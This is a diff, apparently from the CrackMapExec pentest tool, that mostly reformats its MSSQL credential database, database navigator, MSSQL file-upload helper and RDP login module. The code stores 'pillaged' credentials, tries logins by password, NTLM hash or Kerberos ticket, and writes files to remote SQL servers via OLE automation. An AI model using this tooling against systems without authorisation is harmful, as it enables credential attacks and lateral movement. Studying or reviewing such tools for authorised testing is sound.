expire_on_commit=True - ) - + session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True) + Session = scoped_session(session_factory) # this is still named "conn" when it is the session object; TODO: rename self.conn = Session() @staticmethod def db_schema(db_conn): - db_conn.execute('''CREATE TABLE "hosts" ( + db_conn.execute( + """CREATE TABLE "hosts" ( "id" integer PRIMARY KEY, "ip" text, "hostname" text, "domain" text, "os" text, "instances" integer - )''') + )""" + ) # This table keeps track of which credential has admin access over which machine and vice-versa - db_conn.execute('''CREATE TABLE "admin_relations" ( + db_conn.execute( + """CREATE TABLE "admin_relations" ( "id" integer PRIMARY KEY, "userid" integer, "hostid" integer, FOREIGN KEY(userid) REFERENCES users(id), FOREIGN KEY(hostid) REFERENCES hosts(id) - )''') + )""" + ) # type = hash, plaintext - db_conn.execute('''CREATE TABLE "users" ( + db_conn.execute( + """CREATE TABLE "users" ( "id" integer PRIMARY KEY, "credtype" text, "domain" text, @@ -58,7 +64,8 @@ class database: "password" text, "pillaged_from_hostid" integer, FOREIGN KEY(pillaged_from_hostid) REFERENCES hosts(id) - )''') + )""" + ) def reflect_tables(self): with self.db_engine.connect() as conn: @@ -67,12 +74,7 @@ class database: self.UsersTable = Table("users", self.metadata, autoload_with=self.db_engine) self.AdminRelationsTable = Table("admin_relations", self.metadata, autoload_with=self.db_engine) except (NoInspectionAvailable, NoSuchTableError): - print( - "[-] Error reflecting tables - this means there is a DB schema mismatch \n" - "[-] This is probably because a newer version of CME is being ran on an old DB schema\n" - "[-] If you wish to save the old DB data, copy it to a new location (`cp -r ~/.cme/workspaces/ ~/old_cme_workspaces/`)\n" - "[-] Then remove the CME DB folders (`rm -rf ~/.cme/workspaces/`) and rerun CME to initialize the new DB schema" - ) + print("[-] Error reflecting tables - this means there is a DB schema mismatch \n" "[-] This is probably because a newer version of CME is being ran on an old DB schema\n" "[-] If you wish to save the old DB data, copy it to a new location (`cp -r ~/.cme/workspaces/ ~/old_cme_workspaces/`)\n" "[-] Then remove the CME DB folders (`rm -rf ~/.cme/workspaces/`) and rerun CME to initialize the new DB schema") exit() def shutdown_db(self): @@ -94,15 +96,11 @@ class database: TODO: return inserted or updated row ids as a list """ cme_logger.debug(f"{domain} {ip} {os} {instances}") - if domain: - domain = domain.split(".")[0].upper() - else: + if not domain: domain = "" hosts = [] - q = select(self.HostsTable).filter( - self.HostsTable.c.ip == ip - ) + q = select(self.HostsTable).filter(self.HostsTable.c.ip == ip) results = self.conn.execute(q).all() cme_logger.debug(f"mssql add_host() - hosts returned: {results}") @@ -136,21 +134,14 @@ class database: # TODO: find a way to abstract this away to a single Upsert call q = Insert(self.HostsTable) - update_columns = {col.name: col for col in q.excluded if col.name not in 'id'} - q = q.on_conflict_do_update( - index_elements=self.HostsTable.primary_key, - set_=update_columns - ) - self.conn.execute( - q, - hosts - ) + update_columns = {col.name: col for col in q.excluded if col.name not in "id"} + q = q.on_conflict_do_update(index_elements=self.HostsTable.primary_key, set_=update_columns) + self.conn.execute(q, hosts) def add_credential(self, credtype, domain, username, password, pillaged_from=None): """ Check if this credential has already been added to the database, if not add it in. """ - domain = domain.split('.')[0].upper() user_rowid = None credential_data = {} @@ -168,7 +159,7 @@ class database: q = select(self.UsersTable).filter( func.lower(self.UsersTable.c.domain) == func.lower(domain), func.lower(self.UsersTable.c.username) == func.lower(username), - func.lower(self.UsersTable.c.credtype) == func.lower(credtype) + func.lower(self.UsersTable.c.credtype) == func.lower(credtype), ) results = self.conn.execute(q).all() @@ -181,18 +172,16 @@ class database: "pillaged_from_hostid": pillaged_from, } q = insert(self.UsersTable).values(user_data) # .returning(self.UsersTable.c.id) - self.conn.execute(q) # .first() + self.conn.execute(q) # .first() else: for user in results: # might be able to just remove this if check, but leaving it in for now if not user[3] and not user[4] and not user[5]: q = update(self.UsersTable).values(credential_data) # .returning(self.UsersTable.c.id) - results = self.conn.execute(q) # .first() + results = self.conn.execute(q) # .first() # user_rowid = results.id - cme_logger.debug( - f"add_credential(credtype={credtype}, domain={domain}, username={username}, password={password}, pillaged_from={pillaged_from})" - ) + cme_logger.debug(f"add_credential(credtype={credtype}, domain={domain}, username={username}, password={password}, pillaged_from={pillaged_from})") return user_rowid def remove_credentials(self, creds_id): @@ -201,34 +190,27 @@ class database: """ del_hosts = [] for cred_id in creds_id: - q = delete(self.UsersTable).filter( - self.UsersTable.c.id == cred_id - ) + q = delete(self.UsersTable).filter(self.UsersTable.c.id == cred_id) del_hosts.append(q) self.conn.execute(q) def add_admin_user(self, credtype, domain, username, password, host, user_id=None): - domain = domain.split('.')[0].upper() if user_id: - q = select(self.UsersTable).filter( - self.UsersTable.c.id == user_id - ) + q = select(self.UsersTable).filter(self.UsersTable.c.id == user_id) users = self.conn.execute(q).all() else: q = select(self.UsersTable).filter( self.UsersTable.c.credtype == credtype, func.lower(self.UsersTable.c.domain) == func.lower(domain), func.lower(self.UsersTable.c.username) == func.lower(username), - self.UsersTable.c.password == password + self.UsersTable.c.password == password, ) users = self.conn.execute(q).all() cme_logger.debug(f"Users: {users}") like_term = func.lower(f"%{host}%") - q = q.filter( - self.HostsTable.c.ip.like(like_term) - ) + q = q.filter(self.HostsTable.c.ip.like(like_term)) hosts = self.conn.execute(q).all() cme_logger.debug(f"Hosts: {hosts}") @@ -236,31 +218,22 @@ class database: for user, host in zip(users, hosts): user_id = user[0] host_id = host[0] - link = { - "userid": user_id, - "hostid": host_id - } + link = {"userid": user_id, "hostid": host_id} q = select(self.AdminRelationsTable).filter( self.AdminRelationsTable.c.userid == user_id, - self.AdminRelationsTable.c.hostid == host_id + self.AdminRelationsTable.c.hostid == host_id, ) links = self.conn.execute(q).all() if not links: - self.conn.execute( - insert(self.AdminRelationsTable).values(link) - ) + self.conn.execute(insert(self.AdminRelationsTable).values(link)) def get_admin_relations(self, user_id=None, host_id=None): if user_id: - q = select(self.AdminRelationsTable).filter( - self.AdminRelationsTable.c.userid == user_id - ) + q = select(self.AdminRelationsTable).filter(self.AdminRelationsTable.c.userid == user_id) elif host_id: - q = select(self.AdminRelationsTable).filter( - self.AdminRelationsTable.c.hostid == host_id - ) + q = select(self.AdminRelationsTable).filter(self.AdminRelationsTable.c.hostid == host_id) else: q = select(self.AdminRelationsTable) @@ -271,14 +244,10 @@ class database: q = delete(self.AdminRelationsTable) if user_ids: for user_id in user_ids: - q = q.filter( - self.AdminRelationsTable.c.userid == user_id - ) + q = q.filter(self.AdminRelationsTable.c.userid == user_id) elif host_ids: for host_id in host_ids: - q = q.filter( - self.AdminRelationsTable.c.hostid == host_id - ) + q = q.filter(self.AdminRelationsTable.c.hostid == host_id) self.conn.execute(q) def is_credential_valid(self, credential_id): @@ -287,7 +256,7 @@ class database: """ q = select(self.UsersTable).filter( self.UsersTable.c.id == credential_id, - self.UsersTable.c.password is not None + self.UsersTable.c.password is not None, ) results = self.conn.execute(q).all() return len(results) > 0 @@ -298,19 +267,13 @@ class database: """ # if we're returning a single credential by ID if self.is_credential_valid(filter_term): - q = select(self.UsersTable).filter( - self.UsersTable.c.id == filter_term - ) + q = select(self.UsersTable).filter(self.UsersTable.c.id == filter_term) elif cred_type: - q = select(self.UsersTable).filter( - self.UsersTable.c.credtype == cred_type - ) + q = select(self.UsersTable).filter(self.UsersTable.c.credtype == cred_type) # if we're filtering by username - elif filter_term and filter_term != '': + elif filter_term and filter_term != "": like_term = func.lower(f"%{filter_term}%") - q = select(self.UsersTable).filter( - func.lower(self.UsersTable.c.username).like(like_term) - ) + q = select(self.UsersTable).filter(func.lower(self.UsersTable.c.username).like(like_term)) # otherwise return all credentials else: q = select(self.UsersTable) @@ -322,9 +285,7 @@ class database: """ Check if this host ID is valid. """ - q = select(self.HostsTable).filter( - self.HostsTable.c.id == host_id - ) + q = select(self.HostsTable).filter(self.HostsTable.c.id == host_id) results = self.conn.execute(q).all() return len(results) > 0 @@ -336,29 +297,19 @@ class database: # if we're returning a single host by ID if self.is_host_valid(filter_term): - q = q.filter( - self.HostsTable.c.id == filter_term - ) + q = q.filter(self.HostsTable.c.id == filter_term) results = self.conn.execute(q).first() # all() returns a list, so we keep the return format the same so consumers don't have to guess return [results] # if we're filtering by domain controllers - elif filter_term == 'dc': - q = q.filter( - self.HostsTable.c.dc == True - ) + elif filter_term == "dc": + q = q.filter(self.HostsTable.c.dc == True) if domain: - q = q.filter( - func.lower(self.HostsTable.c.domain) == func.lower(domain) - ) + q = q.filter(func.lower(self.HostsTable.c.domain) == func.lower(domain)) # if we're filtering by ip/hostname elif filter_term and filter_term != "": like_term = func.lower(f"%{filter_term}%") - q = select(self.HostsTable).filter( - self.HostsTable.c.ip.like(like_term) | - func.lower(self.HostsTable.c.hostname).like(like_term) - ) + q = select(self.HostsTable).filter(self.HostsTable.c.ip.like(like_term) | func.lower(self.HostsTable.c.hostname).like(like_term)) results = self.conn.execute(q).all() return results - diff --git a/cme/protocols/mssql/db_navigator.py b/cme/protocols/mssql/db_navigator.py index fcb414c5..9415aeb9 100644 --- a/cme/protocols/mssql/db_navigator.py +++ b/cme/protocols/mssql/db_navigator.py @@ -7,34 +7,38 @@ from cme.cmedb import DatabaseNavigator, print_table, print_help class navigator(DatabaseNavigator): def display_creds(self, creds): - data = [['CredID', 'Admin On', 'CredType', 'Domain', 'UserName', 'Password']] + data = [["CredID", "Admin On", "CredType", "Domain", "UserName", "Password"]] for cred in creds: - cred_id = cred[0] - credtype = cred[1] - domain = cred[2] - username = cred[3] - password = cred[4] - # pillaged_from = cred[5] - - links = self.db.get_admin_relations(user_id=cred_id) - data.append([cred_id, str(len(links)) + ' Host(s)', credtype, domain, username, password]) - print_table(data, title='Credentials') + links = self.db.get_admin_relations(user_id=cred[0]) + data.append( + [ + cred[0], # cred_id + str(len(links)) + " Host(s)", + cred[1], # cred_type + cred[2], # domain + cred[3], # username + cred[4], # password + ] + ) + print_table(data, title="Credentials") def display_hosts(self, hosts): - data = [['HostID', 'Admins', 'IP', 'Hostname', 'Domain', 'OS', 'DB Instances']] + data = [["HostID", "Admins", "IP", "Hostname", "Domain", "OS", "DB Instances"]] for host in hosts: - host_id = host[0] - ip = host[1] - hostname = host[2] - domain = host[3] - os = host[4] - instances = host[5] - - links = self.db.get_admin_relations(host_id=host_id) - - data.append([host_id, str(len(links)) + ' Cred(s)', ip, hostname, domain, os, instances]) - print_table(data, title='Hosts') + links = self.db.get_admin_relations(host_id=host[0]) + data.append( + [ + host[0], + str(len(links)) + " Cred(s)", + host[1], + host[2], + host[3], + host[4], + host[5], + ] + ) + print_table(data, title="Hosts") def do_hosts(self, line): filter_term = line.strip() @@ -48,23 +52,16 @@ class navigator(DatabaseNavigator): if len(hosts) > 1: self.display_hosts(hosts) elif len(hosts) == 1: - data = [['HostID', 'IP', 'Hostname', 'Domain', 'OS']] + data = [["HostID", "IP", "Hostname", "Domain", "OS"]] host_id_list = [] for host in hosts: - host_id = host[0] - host_id_list.append(host_id) + host_id_list.append(host[0]) + data.append([host[0], host[1], host[2], host[3], host[4]]) - ip = host[1] - hostname = host[2] - domain = host[3] - os = host[4] + print_table(data, title="Host(s)") - data.append([host_id, ip, hostname, domain, os]) - - print_table(data, title='Host(s)') - - data = [['CredID', 'CredType', 'Domain', 'UserName', 'Password']] + data = [["CredID", "CredType", "Domain", "UserName", "Password"]] for host_id in host_id_list: links = self.db.get_admin_relations(host_id=host_id) @@ -73,15 +70,8 @@ class navigator(DatabaseNavigator): creds = self.db.get_credentials(filter_term=cred_id) for cred in creds: - cred_id = cred[0] - domain = cred[1] - username = cred[2] - password = cred[3] - credtype = cred[4] - # pillaged_from = cred[5] - - data.append([cred_id, credtype, domain, username, password]) - print_table(data, title='Credential(s) with Admin Access') + data.append([cred[0], cred[4], cred[1], cred[2], cred[3]]) + print_table(data, title="Credential(s) with Admin Access") def do_creds(self, line): filter_term = line.strip() @@ -118,23 +108,16 @@ class navigator(DatabaseNavigator): self.display_creds(creds) else: creds = self.db.get_credentials(filter_term=filter_term) - data = [['CredID', 'CredType', 'Domain', 'UserName', 'Password']] + data = [["CredID", "CredType", "Domain", "UserName", "Password"]] cred_id_list = [] for cred in creds: - cred_id = cred[0] - cred_id_list.append(cred_id) + cred_id_list.append(cred[0]) + data.append([cred[0], cred[1], cred[2], cred[3], cred[4]]) - credType = cred[1] - domain = cred[2] - username = cred[3] - password = cred[4] + print_table(data, title="Credential(s)") - data.append([cred_id, credType, domain, username, password]) - - print_table(data, title='Credential(s)') - - data = [['HostID', 'IP', 'Hostname', 'Domain', 'OS']] + data = [["HostID", "IP", "Hostname", "Domain", "OS"]] for cred_id in cred_id_list: links = self.db.get_admin_relations(user_id=cred_id) @@ -143,20 +126,15 @@ class navigator(DatabaseNavigator): hosts = self.db.get_hosts(host_id) for host in hosts: - host_id = host[0] - ip = host[1] - hostname = host[2] - domain = host[3] - os = host[4] - - data.append([host_id, ip, hostname, domain, os]) - print_table(data, title='Admin Access to Host(s)') + data.append([host[0], host[1], host[2], host[3], host[4]]) + print_table(data, title="Admin Access to Host(s)") def do_clear_database(self, line): if input("This will destroy all data in the current database, are you SURE you want to run this? (y/n): ") == "y": self.db.clear_database() - def help_clear_database(self): + @staticmethod + def help_clear_database(): help_string = """ clear_database THIS COMPLETELY DESTROYS ALL DATA IN THE CURRENTLY CONNECTED DATABASE @@ -168,9 +146,8 @@ class navigator(DatabaseNavigator): """ Tab-complete 'creds' commands """ - commands = ["add", "remove"] - - mline = line.partition(' ')[2] + commands = ("add", "remove") + mline = line.partition(" ")[2] offs = len(mline) - len(text) return [s[offs:] for s in commands if s.startswith(mline)] @@ -178,8 +155,7 @@ class navigator(DatabaseNavigator): """ Tab-complete 'creds' commands """ - commands = ["add", "remove", "hash", "plaintext"] - - mline = line.partition(' ')[2] + commands = ("add", "remove", "hash", "plaintext") + mline = line.partition(" ")[2] offs = len(mline) - len(text) return [s[offs:] for s in commands if s.startswith(mline)] diff --git a/cme/protocols/mssql/mssqlexec.py b/cme/protocols/mssql/mssqlexec.py index a1830de8..fc4dfa2f 100755 --- a/cme/protocols/mssql/mssqlexec.py +++ b/cme/protocols/mssql/mssqlexec.py @@ -59,23 +59,14 @@ class MSSQLEXEC: try: self.enable_ole() hexdata = data.hex() - self.mssql_conn.sql_query("DECLARE @ob INT;" - "EXEC sp_OACreate 'ADODB.Stream', @ob OUTPUT;" - "EXEC sp_OASetProperty @ob, 'Type', 1;" - "EXEC sp_OAMethod @ob, 'Open';" - "EXEC sp_OAMethod @ob, 'Write', NULL, 0x{};" - "EXEC sp_OAMethod @ob, 'SaveToFile', NULL, '{}', 2;" - "EXEC sp_OAMethod @ob, 'Close';" - "EXEC sp_OADestroy @ob;".format(hexdata, remote)) + self.mssql_conn.sql_query("DECLARE @ob INT;" "EXEC sp_OACreate 'ADODB.Stream', @ob OUTPUT;" "EXEC sp_OASetProperty @ob, 'Type', 1;" "EXEC sp_OAMethod @ob, 'Open';" "EXEC sp_OAMethod @ob, 'Write', NULL, 0x{};" "EXEC sp_OAMethod @ob, 'SaveToFile', NULL, '{}', 2;" "EXEC sp_OAMethod @ob, 'Close';" "EXEC sp_OADestroy @ob;".format(hexdata, remote)) self.disable_ole() except Exception as e: cme_logger.debug(f"Error uploading via mssqlexec: {e}") def file_exists(self, remote): try: - res = self.mssql_conn.batch( - f"DECLARE @r INT; EXEC master.dbo.xp_fileexist '{remote}', @r OUTPUT; SELECT @r as n" - )[0]['n'] + res = self.mssql_conn.batch(f"DECLARE @r INT; EXEC master.dbo.xp_fileexist '{remote}', @r OUTPUT; SELECT @r as n")[0]["n"] return res == 1 except: return False @@ -89,4 +80,4 @@ class MSSQLEXEC: f.write(binascii.unhexlify(data)) except Exception as e: - cme_logger.debug(f"Error downloading via mssqlexec: {e}") \ No newline at end of file + cme_logger.debug(f"Error downloading via mssqlexec: {e}") diff --git a/cme/protocols/rdp.py b/cme/protocols/rdp.py index 3f66fd3d..c6021f69 100644 --- a/cme/protocols/rdp.py +++ b/cme/protocols/rdp.py @@ -8,7 +8,6 @@ from os import getenv from impacket.krb5.ccache import CCache from cme.connection import * from cme.helpers.bloodhound import add_user_bh -from cme.helpers.logger import highlight from cme.logger import CMEAdapter from aardwolf.connection import RDPConnection from aardwolf.commons.queuedata.constants import VIDEO_FORMAT @@ -20,26 +19,8 @@ from asyauth.common.credentials.kerberos import KerberosCredential from asyauth.common.constants import asyauthSecret from asysocks.unicomm.common.target import UniTarget, UniProto -rdp_error_status = { - '0xc0000071': 'STATUS_PASSWORD_EXPIRED', - '0xc0000234': 'STATUS_ACCOUNT_LOCKED_OUT', - '0xc0000072': 'STATUS_ACCOUNT_DISABLED', - '0xc0000193': 'STATUS_ACCOUNT_EXPIRED', - '0xc000006E': 'STATUS_ACCOUNT_RESTRICTION', - '0xc000006F': 'STATUS_INVALID_LOGON_HOURS', - '0xc0000070': 'STATUS_INVALID_WORKSTATION', - '0xc000015B': 'STATUS_LOGON_TYPE_NOT_GRANTED', - '0xc0000224': 'STATUS_PASSWORD_MUST_CHANGE', - '0xc0000022': 'STATUS_ACCESS_DENIED', - '0xc000006d': 'STATUS_LOGON_FAILURE', - '0xc000006a': 'STATUS_WRONG_PASSWORD ', - 'KDC_ERR_CLIENT_REVOKED': 'KDC_ERR_CLIENT_REVOKED', - 'KDC_ERR_PREAUTH_FAILED': 'KDC_ERR_PREAUTH_FAILED' -} - class rdp(connection): - def __init__(self, args, db, host): self.domain = None self.server_os = None @@ -47,9 +28,19 @@ class rdp(connection): self.iosettings.channels = [] self.iosettings.video_out_format = VIDEO_FORMAT.RAW self.iosettings.clipboard_use_pyperclip = False - self.protoflags_nla = [SUPP_PROTOCOLS.SSL | SUPP_PROTOCOLS.RDP, SUPP_PROTOCOLS.SSL, SUPP_PROTOCOLS.RDP] - self.protoflags = [SUPP_PROTOCOLS.SSL | SUPP_PROTOCOLS.RDP, SUPP_PROTOCOLS.SSL, SUPP_PROTOCOLS.RDP, SUPP_PROTOCOLS.SSL | SUPP_PROTOCOLS.HYBRID, SUPP_PROTOCOLS.SSL | SUPP_PROTOCOLS.HYBRID_EX] - width, height = args.res.upper().split('X') + self.protoflags_nla = [ + SUPP_PROTOCOLS.SSL | SUPP_PROTOCOLS.RDP, + SUPP_PROTOCOLS.SSL, + SUPP_PROTOCOLS.RDP, + ] + self.protoflags = [ + SUPP_PROTOCOLS.SSL | SUPP_PROTOCOLS.RDP, + SUPP_PROTOCOLS.SSL, + SUPP_PROTOCOLS.RDP, + SUPP_PROTOCOLS.SSL | SUPP_PROTOCOLS.HYBRID, + SUPP_PROTOCOLS.SSL | SUPP_PROTOCOLS.HYBRID_EX, + ] + width, height = args.res.upper().split("X") height = int(height) width = int(width) self.iosettings.video_width = width @@ -68,6 +59,23 @@ class rdp(connection): self.target = None self.auth = None + self.rdp_error_status = { + "0xc0000071": "STATUS_PASSWORD_EXPIRED", + "0xc0000234": "STATUS_ACCOUNT_LOCKED_OUT", + "0xc0000072": "STATUS_ACCOUNT_DISABLED", + "0xc0000193": "STATUS_ACCOUNT_EXPIRED", + "0xc000006E": "STATUS_ACCOUNT_RESTRICTION", + "0xc000006F": "STATUS_INVALID_LOGON_HOURS", + "0xc0000070": "STATUS_INVALID_WORKSTATION", + "0xc000015B": "STATUS_LOGON_TYPE_NOT_GRANTED", + "0xc0000224": "STATUS_PASSWORD_MUST_CHANGE", + "0xc0000022": "STATUS_ACCESS_DENIED", + "0xc000006d": "STATUS_LOGON_FAILURE", + "0xc000006a": "STATUS_WRONG_PASSWORD ", + "KDC_ERR_CLIENT_REVOKED": "KDC_ERR_CLIENT_REVOKED", + "KDC_ERR_PREAUTH_FAILED": "KDC_ERR_PREAUTH_FAILED", + } + connection.__init__(self, args, db, host) @staticmethod @@ -75,17 +83,45 @@ class rdp(connection): rdp_parser = parser.add_parser('rdp', help="own stuff using RDP", parents=[std_parser, module_parser]) rdp_parser.add_argument("-H", '--hash', metavar="HASH", dest='hash', nargs='+', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes') rdp_parser.add_argument("--port", type=int, default=3389, help="Custom RDP port") - rdp_parser.add_argument("--rdp-timeout", type=int, default=1, help="RDP timeout on socket connection") - rdp_parser.add_argument("--nla-screenshot", action="store_true", help="Screenshot RDP login prompt if NLA is disabled") + rdp_parser.add_argument( + "--rdp-timeout", + type=int, + default=1, + help="RDP timeout on socket connection", + ) + rdp_parser.add_argument( + "--nla-screenshot", + action="store_true", + help="Screenshot RDP login prompt if NLA is disabled", + ) dgroup = rdp_parser.add_mutually_exclusive_group() - dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, default=None, help="domain to authenticate to") - dgroup.add_argument("--local-auth", action='store_true', help='authenticate locally to each target') + dgroup.add_argument( + "-d", + metavar="DOMAIN", + dest="domain", + type=str, + default=None, + help="domain to authenticate to", + ) + dgroup.add_argument( + "--local-auth", + action="store_true", + help="authenticate locally to each target", + ) egroup = rdp_parser.add_argument_group("Screenshot", "Remote Desktop Screenshot") - egroup.add_argument("--screenshot", action="store_true", help="Screenshot RDP if connection success") - egroup.add_argument('--screentime', type=int, default=10, help='Time to wait for desktop image') - egroup.add_argument('--res', default='1024x768', help='Resolution in "WIDTHxHEIGHT" format. Default: "1024x768"') + egroup.add_argument( + "--screenshot", + action="store_true", + help="Screenshot RDP if connection success", + ) + egroup.add_argument("--screentime", type=int, default=10, help="Time to wait for desktop image") + egroup.add_argument( + "--res", + default="1024x768", + help='Resolution in "WIDTHxHEIGHT" format. Default: "1024x768"', + ) return parser @@ -105,15 +141,15 @@ class rdp(connection): "protocol": "RDP", "host": self.host, "port": self.args.port, - "hostname": self.hostname + "hostname": self.hostname, } ) def print_host_info(self): if self.domain is None: - self.logger.display(f"Probably old, doesn't not support HYBRID or HYBRID_EX (nla:{self.nla})") + self.logger.display("Probably old, doesn't not support HYBRID or HYBRID_EX" f" (nla:{self.nla})") else: - self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain}) (nla:{self.nla})") + self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain})" f" (nla:{self.nla})") return True def create_conn_obj(self): @@ -125,7 +161,11 @@ class rdp(connection): for proto in reversed(self.protoflags): try: self.iosettings.supported_protocols = proto - self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth) + self.conn = RDPConnection( + iosettings=self.iosettings, + target=self.target, + credentials=self.auth, + ) asyncio.run(self.connect_rdp()) except OSError as e: if "Errno 104" not in str(e): @@ -137,20 +177,26 @@ class rdp(connection): info_domain = self.conn.get_extra_info() self.domain = info_domain["dnsdomainname"] self.hostname = info_domain["computername"] - self.server_os = info_domain["os_guess"] + " Build " + str(info_domain['os_build']) + self.server_os = info_domain["os_guess"] + " Build " + str(info_domain["os_build"]) + self.logger.extra["hostname"] = self.hostname - self.output_filename = os.path.expanduser( - f"~/.cme/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}" - ) + self.output_filename = os.path.expanduser(f"~/.cme/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}") self.output_filename = self.output_filename.replace(":", "-") break if self.args.domain: self.domain = self.args.domain + if self.args.local_auth: self.domain = self.hostname - self.target = RDPTarget(ip=self.host, hostname=self.hostname, domain=self.domain, dc_ip=self.domain, timeout=self.args.rdp_timeout) + self.target = RDPTarget( + ip=self.host, + hostname=self.hostname, + domain=self.domain, + dc_ip=self.domain, + timeout=self.args.rdp_timeout, + ) return True @@ -158,7 +204,11 @@ class rdp(connection): for proto in self.protoflags_nla: try: self.iosettings.supported_protocols = proto - self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth) + self.conn = RDPConnection( + iosettings=self.iosettings, + target=self.target, + credentials=self.auth, + ) asyncio.run(self.connect_rdp()) if str(proto) == "SUPP_PROTOCOLS.RDP" or str(proto) == "SUPP_PROTOCOLS.SSL" or str(proto) == "SUPP_PROTOCOLS.SSL|SUPP_PROTOCOLS.RDP": self.nla = False @@ -171,13 +221,13 @@ class rdp(connection): if err is not None: raise err - def kerberos_login(self, domain, username, password='', ntlm_hash='', aesKey='', kdcHost='', useCache=False): + def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False): try: - lmhash = '' - nthash = '' + lmhash = "" + nthash = "" # This checks to see if we didn't provide the LM Hash - if ntlm_hash.find(':') != -1: - lmhash, nthash = ntlm_hash.split(':') + if ntlm_hash.find(":") != -1: + lmhash, nthash = ntlm_hash.split(":") self.hash = nthash else: nthash = ntlm_hash @@ -187,10 +237,10 @@ class rdp(connection): if nthash: self.nthash = nthash - if not all('' == s for s in [nthash, password, aesKey]): + if not all("" == s for s in [nthash, password, aesKey]): kerb_pass = next(s for s in [nthash, password, aesKey] if s) else: - kerb_pass = '' + kerb_pass = "" fqdn_host = self.hostname + "." + self.domain password = password if password else nthash @@ -198,13 +248,13 @@ class rdp(connection): if useCache: stype = asyauthSecret.CCACHE if not password: - password = getenv('KRB5CCNAME') if not password else password + password = getenv("KRB5CCNAME") if not password else password if "/" in password: self.logger.fail("Kerberos ticket need to be on the local directory") return False - ccache = CCache.loadFile(getenv('KRB5CCNAME')) + ccache = CCache.loadFile(getenv("KRB5CCNAME")) ticketCreds = ccache.credentials[0] - username = ticketCreds['client'].prettyPrint().decode().split('@')[0] + username = ticketCreds["client"].prettyPrint().decode().split("@")[0] else: stype = asyauthSecret.PASS if not nthash else asyauthSecret.NT @@ -214,30 +264,32 @@ class rdp(connection): UniProto.CLIENT_TCP, proxies=None, dns=None, - dc_ip=self.domain + dc_ip=self.domain, + domain=self.domain ) self.auth = KerberosCredential( target=kerberos_target, secret=password, username=username, domain=domain, - stype=stype - ) - self.conn = RDPConnection( - iosettings=self.iosettings, - target=self.target, - credentials=self.auth + stype=stype, ) + self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth) asyncio.run(self.connect_rdp()) self.admin_privs = True self.logger.success( - u"{}\\{}{} {}".format( - domain, - username, - # Show what was used between cleartext, nthash, aesKey and ccache - " from ccache" if useCache else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8), - highlight(f'({self.config.get("CME", "pwn3d_label")})' if self.admin_privs else '')) + "{}\\{}{} {}".format( + domain, + username, + ( + # Show what was used between cleartext, nthash, aesKey and ccache + " from ccache" + if useCache + else ":%s" % (kerb_pass if not self.config.get("CME", "audit_mode") else self.config.get("CME", "audit_mode") * 8) + ), + self.mark_pwned(), + ) ) if not self.args.local_auth: add_user_bh(username, domain, self.logger, self.config) @@ -246,117 +298,92 @@ class rdp(connection): except Exception as e: if "KDC_ERR" in str(e): reason = None - for word in rdp_error_status.keys(): + for word in self.rdp_error_status.keys(): if word in str(e): - reason = rdp_error_status[word] + reason = self.rdp_error_status[word] self.logger.fail( - f"{domain}\\{username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8)} {f'({reason})' if reason else str(e)}", - color='magenta' if ((reason or "CredSSP" in str(e)) and reason != "KDC_ERR_C_PRINCIPAL_UNKNOWN") else 'red' + (f"{domain}\\{username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8)} {f'({reason})' if reason else str(e)}"), + color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "KDC_ERR_C_PRINCIPAL_UNKNOWN") else "red"), ) elif "Authentication failed!" in str(e): - self.logger.success( - u"{}\\{}:{} {}".format( - domain, - username, - password, - highlight(f'({self.config.get("CME", "pwn3d_label")})' if self.admin_privs else '') - ) - ) + self.logger.success(f"{domain}\\{username}:{password} {self.mark_pwned()}") elif "No such file" in str(e): self.logger.fail(e) else: reason = None - for word in rdp_error_status.keys(): + for word in self.rdp_error_status.keys(): if word in str(e): - reason = rdp_error_status[word] + reason = self.rdp_error_status[word] if "cannot unpack non-iterable NoneType object" == str(e): reason = "User valid but cannot connect" self.logger.fail( - f"{domain}\\{username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8)} {f'({reason})' if reason else ''}", - color='magenta' if ((reason or "CredSSP" in str(e)) and reason != "STATUS_LOGON_FAILURE") else 'red' + (f"{domain}\\{username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8)} {f'({reason})' if reason else ''}"), + color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "STATUS_LOGON_FAILURE") else "red"), ) return False def plaintext_login(self, domain, username, password): try: - self.auth = NTLMCredential(secret=password, username=username, domain=domain, stype=asyauthSecret.PASS) + self.auth = NTLMCredential( + secret=password, + username=username, + domain=domain, + stype=asyauthSecret.PASS, + ) self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth) asyncio.run(self.connect_rdp()) self.admin_privs = True - self.logger.success( - u"{}\\{}:{} {}".format( - domain, - username, - password, - highlight(f'({self.config.get("CME", "pwn3d_label")})' if self.admin_privs else '') - ) - ) + self.logger.success(f"{domain}\\{username}:{password} {self.mark_pwned()}") if not self.args.local_auth: add_user_bh(username, domain, self.logger, self.config) return True except Exception as e: if "Authentication failed!" in str(e): - self.logger.success( - u"{}\\{}:{} {}".format( - domain, - username, - password, - highlight(f'({self.config.get("CME", "pwn3d_label")})' if self.admin_privs else '') - ) - ) + self.logger.success(f"{domain}\\{username}:{password} {self.mark_pwned()}") else: reason = None - for word in rdp_error_status.keys(): + for word in self.rdp_error_status.keys(): if word in str(e): - reason = rdp_error_status[word] + reason = self.rdp_error_status[word] if "cannot unpack non-iterable 